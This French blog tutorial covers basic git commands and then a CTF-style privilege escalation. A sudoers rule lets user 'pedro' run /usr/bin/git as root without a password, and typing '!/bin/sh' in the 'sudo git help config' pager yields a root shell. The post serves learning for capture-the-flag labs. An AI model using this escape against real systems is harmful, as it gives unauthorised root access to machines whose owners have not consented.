What’s up les gars ???
Alors prêt à rajouter une nouvelle technique d’escalader les privilèges root ? Dans ce cas vous êtes au bon endroit !! Je vais vous montrer comment se servir de git et le moyen de l’exploiter afin d’être le super utilisateur sur une machine cible (très fréquent lors des CTF…).
- Introduction à git
Git est un système de gestion des changements de code source logiciel pour l’amélioration coopérative. Il conserve un historique des versions de fichiers. Contrairement aux systèmes CM client-serveur typiques qui « extraient » la dernière version des fichiers, Git est un système CM dispersé où l’utilisateur dispose d’une copie locale de l’intégralité du référentiel qui comprend l’historique complet de tous les fichiers.
L’utilisateur travaillant avec des fichiers dans sa zone de travail de projet locale qui se rapporte à la source de clone locale peut ajouter, modifier et supprimer des fichiers et enfin valider leurs modifications. L’utilisateur peut ensuite partager ces modifications dans le référentiel local avec un « push » ou un « pull » vers d’autres référentiels Git.
Pour en savoir plus sur la commande git, j’utilise sa page d’aide :
git (ou git --help)
Générer l’intégrité de l’utilisateur : la toute première étape pour obtenir l’utilité de git consiste à créer une identité personnelle dans le référentiel git. Pour cet utilisateur, il faut mentionner son nom et son adresse e-mail avec git. Ceci est très important car chaque commit Git que vous avez fait, utilise ces informations. Voici comment faire :
git config --global user.name "leto"
git config --global user.email letomikassa@gmail.com
Puis j'utilise la commande suivante pour checker : git config --list
Clonage d’un référentiel git : Après avoir créé l’identité, je dois cloner le référentiel git pour commencer et seulement ensuite, je peux valider mes modifications (s’il y en a). Git clone est utilisé pour pointer vers un dépôt existant et faire une copie de ce dépôt dans un nouveau répertoire, à un autre emplacement. Le référentiel d’origine peut être situé sur le système de fichiers local. Cela produit automatiquement une connexion distante pointant vers le référentiel d’origine. (voir ci-dessous)
NB: je pense que beaucoup d’entre vous ont déjà utilisé cette commande…
git clone https://github.com/alexxy/netdiscover.git
Initialiser un nouveau référentiel git : si quelqu’un souhaite commencer à posséder un serveur de référentiel git pour sa base de code, il peut profiter de l’option « init », qui aide l’utilisateur à initier un nouveau référentiel git et la machine peut maintenant être utilisée comme un serveur de référentiel git pour cette base de code particulière.
git init
Vérification de l’état de git : pour vérifier l’état des fichiers qui se trouvent dans l’index par rapport au répertoire de travail de mon référentiel git, j’utilise l’option « status » :
NB : Au départ, je n'ai créé aucun fichier ni pris aucun type d'engagement envers mon référentiel git, il l'affichera donc comme vide.
Ajouter un nouveau fichier dans le référentiel : Maintenant, je vais ajouter un fichier à mon nouveau référentiel git. Pour cela, je vais d’abord créer un fichier qui servira de code source pour effectuer cette tâche.
touch jon.txt
cat jon.txt
cat > jon.txt
Maintenant, je veux ajouter ce fichier à mon référentiel git pour cela, je vais utiliser l’option « add« .
git add jon.txt
Git commit : à chaque étape de l’ajout d’un fichier au dépôt git, je dois effectuer sa confirmation et pour faire de même, je m’engage sur mon dépôt git. Comme j’ai créé un nouveau fichier, je le désignerai comme mon « commit number one« .
git commit -m 'commit number one'
Maintenant, j’ajoute quelques lignes supplémentaires à mon fichier « jon.txt ».
git commit -m "commit number two"
Git log : Maintenant que j’ai terminé ma tâche de faire tous les commits du référentiel git, je regarde en arrière plan pour voir ce qui s’est passé afin que cela puisse être simplement réalisé :
git log
Super je vois bien mes deux commit créés précédemment.
- Exploitation de git
Table de Matieres
Configurations Sudo pour l’escalade de privilèges :
j’ouvre le fichier etc/sudoers et tape ce qui suit en tant que spécification de privilège utilisateur :
pedro All=(root) NOPASSWD : /usr/bin/git
Exploitation des droits Sudo :
Je peux maintenant commencer à exploiter le service git en prenant le privilège de la permission de sudoer. je pars du principe que j’ai les id et sessions de la machine victime qui me permet d’avoir un accès utilisateur local au système grâce auquel je peux augmenter les droits de l’utilisateur root.
Tout d’abord, je dois me connecter à la machine cible avec ssh :
ssh pedro@192.168.1.164
Puis je tape :
sudo -l
Ensuite, j’observe l’aide de configuration de git :
sudo git help config
Cette commande va invoquer la page par défaut de configuration dans lequel je peux injecter en bas de page :
!/bin/sh
Et normalement j’obtiens le shell » # « , ce qui signifie que j’ai réussi à escalader les privilèges root :
- Conclusion
Un article assez sympa et instructif pour commencer avec git, il y a bien sûr pleins d’autres choses à voir avec ce dernier mais j’ai préféré vous laisser la curiosité de voir par vous-même. Je pense que vous allez retrouver sur pas mal de CTF ce genre de scénario donc retenez bien les amis !!!!
Je vous dis à très vite pour un prochain article (j’ai du nouveau pour vous PEACE !!!
Cet article Git – Linux privilege Escalation est apparu en premier sur HackinGeeK.